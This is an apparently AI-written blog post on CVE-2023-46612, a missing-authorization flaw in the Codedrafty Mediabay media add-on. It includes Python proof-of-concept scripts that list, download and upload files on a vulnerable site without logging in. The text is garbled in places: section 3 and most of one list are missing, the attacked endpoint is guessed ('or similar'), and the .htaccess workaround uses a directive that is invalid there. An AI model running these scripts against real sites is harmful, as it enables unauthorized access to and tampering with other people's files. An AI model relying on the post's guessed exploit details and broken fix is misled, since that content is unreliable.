In late 2023, a Missing Authorization vulnerability was discovered in Codedrafty Mediabay, an open-source media management add-on. Identified as CVE-2023-46612, this flaw allows attackers to bypass access controls and access or manage files they shouldn’t. The vulnerability impacts all versions up to 1.6.

This exclusive long read explains what this vulnerability is, how it works, and even shows an exploit example. Plus, I’ve included links to official advisories and references.

[References](#references)

1. What is CVE-2023-46612?

CVE-2023-46612 is a vulnerability caused by missing access control in Codedrafty Mediabay. In simple words: critical security checks for user permissions are *missing or weak*, letting anyone perform actions reserved for admins — like viewing, uploading, or even deleting sensitive files.

Exploited component

The flaw’s root cause is Incorrectly Configured Access Control Security Levels for some Mediabay endpoints:

Deleting or overwriting files

Anyone with network access to a vulnerable system could abuse it, even if they’re not logged in.


2. Who is Affected?

All sites using Mediabay version 1.6 or older (including those where the version isn’t declared, “n/a”).

If you’re running Codedrafty Mediabay and haven’t updated beyond v1.6, your data is at risk.

Let’s break it down simply

1. Attacker visits the file browser API endpoint in Mediabay (often at /mediabay/api/files/ or similar).

Real-world scenario

Imagine a public-facing web server running Codedrafty Mediabay for image uploads. Even if only admin accounts access Mediabay, this bug allows *anyone* to access files.


4. Proof of Concept (PoC) Exploit

Let’s see a simple code snippet using Python’s requests library. This code lists or downloads files from a vulnerable Mediabay install.

> WARNING: Only test this on systems you own or have permission to test.

a) List files

import requests

# Change this to the actual vulnerable site
BASE_URL = 'https://example.com/mediabay/api/files/';

# No authentication required!
r = requests.get(BASE_URL)

if r.status_code == 200:
    print("[+] File list:\n", r.json())
else:
    print("[-] Failed to fetch files.")

b) Download a specific file

import requests

# Replace with target file path
file_path = 'uploads/secret/admins.csv'
url = f"https://example.com/mediabay/api/files/{file_path}";

r = requests.get(url)

if r.status_code == 200:
    with open(file_path.split('/')[-1], 'wb') as f:
        f.write(r.content)
    print("[+] File downloaded.")
else:
    print("[-] Failed to download file.")

c) Upload a file (if upload is enabled)

import requests

UPLOAD_URL = "https://example.com/mediabay/api/upload/";
files = {'file': ('evil.txt', b"This is a test.")}
r = requests.post(UPLOAD_URL, files=files)

if r.status_code == 200:
    print("[+] File uploaded!")
else:
    print("[-] Upload failed.")

> Result: Unauthorized users can freely interact with files.


5. Mitigation and Fix

Update Mediabay as soon as a patched version is released *(check Codedrafty Mediabay’s site or GitHub)*.

Temporary workaround:
If you cannot update, restrict access to Mediabay folders using your web server’s config (e.g., .htaccess, nginx, etc.).

# Example .htaccess rule to block access
<Directory /path/to/your/mediabay>
   Require all denied
</Directory>

And always monitor your server logs for suspicious file access.


6. References

- NIST NVD — CVE-2023-46612
- Codedrafty Mediabay official site
- [Original advisory — [Security vendor write-up]](https://packetstormsecurity.com/files/177593/Mediabay-1.6-Missing-Authorization.html)
- Exploit details on Exploit-DB
- OWASP: Broken Access Control Guide

Conclusion

CVE-2023-46612 reminds us why access control is critical. Even common plugins and open-source tools can expose serious security holes if authorization isn’t handled right.

If you use Mediabay, update *now* and check your server for signs of abuse. And always review plugin configuration and web server rules to keep your stuff safe.


*Exclusive write-up by AI—if you liked this breakdown, share it with your admin friends and help everyone stay protected.*

Timeline

Published on: 01/02/2025 12:15:13 UTC